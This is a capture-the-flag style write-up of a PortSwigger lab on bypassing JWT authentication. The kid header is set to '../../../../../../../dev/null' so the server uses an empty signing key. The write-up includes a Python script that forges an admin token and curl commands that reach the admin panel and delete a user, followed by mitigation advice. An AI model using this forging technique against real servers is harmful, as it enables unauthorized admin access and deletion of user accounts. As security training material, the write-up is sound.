JWT Authentication Bypass via kid Header Path Traversal
Lab Description (contains spoilers)
JWT · Portswigger Lab ↗
This lab uses a JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its filesystem. To solve the lab, forge a JWT that gives you access to the admin panel at /admin, then delete the user carlos. You can log in to your own account using the following credentials: wiener:peter
March 13, 2025Necessary Background Concepts To Solve The Lab
JWT Fundamentals
What is JWT (JSON Web Token)?
JWT is a compact, URL-safe means of representing Claims* to be transferred between two parties. It’s commonly used for authentication and information exchange in web applications. It uses base64 encoding to ensure URL-safe transmission.
A JWT consists of three parts separated by dots (.):
header.payload.signature
For example:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ3aWVuZXIiLCJleHAiOjE3NzIxOTg5NTd9.signature_here
Breaking down each part:
1. Header (Base64URL encoded JSON):
{
"kid": "170c351e-58cc-4e4b-9116-6e7924337580",
"alg": "HS256"
}
alg: The signing algorithm (HS256 = HMAC-SHA256)kid: Key ID (optional identifier for the signing key)
2. Payload (Base64URL encoded JSON):
{
"iss": "portswigger",
"exp": 1772198957,
"sub": "wiener"
}
iss: Issuer of the tokenexp: Expiration timestampsub: Subject (usually the username)
3. Signature: The signature is created by taking the encoded header and payload, and signing them with a secret key using the algorithm specified in the header:
# Pseudocode
message = base64UrlEncode(header) + "." + base64UrlEncode(payload)
key = JWT_SECRET # It could be a password, API key, UUID, or any other string
signature = HMACSHA256(message, key) # This is just the signature part, not the complete JWT
The signature ensures that the token hasn’t been tampered with. If an attacker modifies the header or payload, the signature won’t match unless they know the secret key.
The complete JWT would be constructed as:
# Pseudocode
jwt = base64UrlEncode(header) + "." + base64UrlEncode(payload) + "." + signature JWT kid Header & Path Traversal
What is the kid Header Parameter?
The kid (Key ID) is an optional header parameter in a JWT that tells the server which key to use to verify the token’s signature. This is useful when a server manages multiple signing keys.
{
"kid": "dade186d-6d19-4584-ab27-737975e1611f",
"alg": "HS256"
}
The server receives the JWT, reads the kid value, and uses it to look up the corresponding signing key. The implementation of this lookup varies. Some servers use a database, others use the filesystem.
Path Traversal via kid
When the server fetches the signing key from the filesystem using the kid value, it becomes vulnerable to directory traversal if the input is not sanitized. An attacker can manipulate kid to point to any file with known contents:
{
"kid": "../../../../../../../dev/null",
"alg": "HS256"
}
On Linux, /dev/null is a special file that always returns empty content. By pointing kid to it, the server will use an empty string as the signing key. The attacker can then sign their forged JWT with an empty string, and the server will accept it as valid.
Writeup
Let’s explore the lab’s login page directly and log in to get a valid JWT session token:
curl -s "https://<lab-url>.web-security-academy.net/login" | cat
Command breakdown:
-s= silent mode (no progress meter)
| cat= pipe response to my customized cat command to maximize gigachad output
The login page has a simple form with a CSRF token:
<form class=login-form method=POST action="/login">
<input required type="hidden" name="csrf" value="jZEVDXEhHL3f8X18WduPNbFU266yB8PE">
<label>Username</label>
<input required type=username name="username" autofocus>
<label>Password</label>
<input required type=password name="password">
<button class=button type=submit> Log in </button>
</form>
Let’s log in with the provided credentials:
curl -D - "https://<lab-url>.web-security-academy.net/login" -d "csrf=jZEVDXEhHL3f8X18WduPNbFU266yB8PE&username=wiener&password=peter"
Command breakdown:
-D -= dump response headers to stdout
-d "csrf=...&username=wiener&password=peter"= send POST data (automatically sets method to POST and Content-Type to application/x-www-form-urlencoded)
Response:
HTTP/2 302
location: /my-account?id=wiener
set-cookie: session=eyJraWQiOiJkYWRlMTg2ZC02ZDE5LTQ1ODQtYWIyNy03Mzc5NzVlMTYxMWYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQwMTg5NCwic3ViIjoid2llbmVyIn0.whMw5vTopqo88l65CSzqHS4F_YMCnfOPtJBCwH9CPw4; Secure; HttpOnly; SameSite=None
The session cookie is a JWT token. Let’s decode it to understand its structure:
echo "eyJraWQiOiJkYWRlMTg2ZC02ZDE5LTQ1ODQtYWIyNy03Mzc5NzVlMTYxMWYiLCJhbGciOiJIUzI1NiJ9" | base64 -d | jq . | cat
Command breakdown:
echo "..."= output the JWT header part
base64 -d= decode base64
jq .= pretty-print JSON
cat= maximize gigachad output
Header output:
{
"kid": "dade186d-6d19-4584-ab27-737975e1611f",
"alg": "HS256"
}
Now decode the payload:
echo "eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQwMTg5NCwic3ViIjoid2llbmVyIn0" | base64 -d | jq .
Payload output:
{
"iss": "portswigger",
"exp": 1773401894,
"sub": "wiener"
}
The JWT uses HS256 (HMAC-SHA256) for signing and includes a kid (Key ID) parameter in the header. According to the lab description, the server uses this kid parameter to fetch the relevant signing key from its filesystem. This is the critical detail. If the kid value is used to construct a file path without proper sanitization, we can exploit a path traversal vulnerability.
The idea is simple: point kid to /dev/null via a path traversal sequence. Since /dev/null returns empty content, the server will use an empty string as the signing key. We can then forge a JWT signed with that same empty string.
Let’s create a Python script to forge the admin JWT:
import hmac
import hashlib
import base64
# Transforms string to base64 string
def b64(string): return base64.urlsafe_b64encode(string).decode().rstrip('=')
# Forge header with kid pointing to /dev/null via path traversal
header = '{"kid":"../../../../../../../dev/null","alg":"HS256"}'
# Forge payload with sub=administrator
payload = '{"iss":"portswigger","exp":1773401894,"sub":"administrator"}'
# Put together the message part of the JWT
message = f"{b64(header.encode())}.{b64(payload.encode())}"
# Sign with empty string (the content of /dev/null)
signature = b64(hmac.new(b'', message.encode(), hashlib.sha256).digest())
forged_jwt = f"{message}.{signature}"
print(forged_jwt)
Script breakdown:
The script forges an administrator JWT by:
- Crafting the header with
kidset to../../../../../../../dev/nullusing path traversal to point to a file with empty content- Crafting the payload with
"sub": "administrator"to impersonate the admin- Signing the JWT with an empty string (
b'') as the HMAC-SHA256 key, matching what the server will read from/dev/null- Assembling header, payload, and signature into a complete JWT
Expected output:
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQwMTg5NCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.0CPsUNxkYuo09m3xARyLb-_wJs-1KYsKS6rTcIxxT_o
Let’s verify by decoding the forged header:
echo "eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0" | base64 -d | jq .
Output:
{
"kid": "../../../../../../../dev/null",
"alg": "HS256"
}
Now let’s access the admin panel with our forged JWT:
curl -s "https://<lab-url>.web-security-academy.net/admin" \
-b "session=eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQwMTg5NCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.0CPsUNxkYuo09m3xARyLb-_wJs-1KYsKS6rTcIxxT_o" \
| grep "carlos"
Command breakdown:
-b "session=..."= send the forged JWT as a session cookie
grep "carlos"= show lines containing “carlos”
Response:
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
We have admin access. Now let’s delete the user carlos:
curl -s "https://<lab-url>.web-security-academy.net/admin/delete?username=carlos" \
-b "session=eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQwMTg5NCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.0CPsUNxkYuo09m3xARyLb-_wJs-1KYsKS6rTcIxxT_o"
The path traversal through kid let us nullify the signing key and forge an admin token, absolutely dominating the authentication system and eradicating carlos like a true gigachad.
Mitigation Strategies
- Sanitize the
kidparameter: Never use thekidvalue directly in filesystem operations. Strip path traversal sequences (../) and validate against an allowlist of known key identifiers - Use a key store instead of the filesystem: Look up signing keys from a database or dedicated key management service rather than reading files from disk
- Validate JWT claims server-side: Always verify the issuer (
iss), expiration (exp), and other claims independently of the signature verification - Use asymmetric algorithms: Consider RS256 or ES256 instead of HS256. With asymmetric algorithms, the signing key (private) is never derived from user-controlled input
- Restrict key file access: If filesystem-based key lookup is unavoidable, ensure the process runs with minimal file permissions and keys are stored in a dedicated, isolated directory
References
kid (Key ID)* is an optional JWT header parameter defined in RFC 7515 Section 4.1.4. It is a hint indicating which key was used to secure the JWS (JSON Web Signature).
Resources
JWT.io Debugger This is an interactive tool for decoding, verifying, and debugging JWT tokens. It was also useful for me when I was a web developer.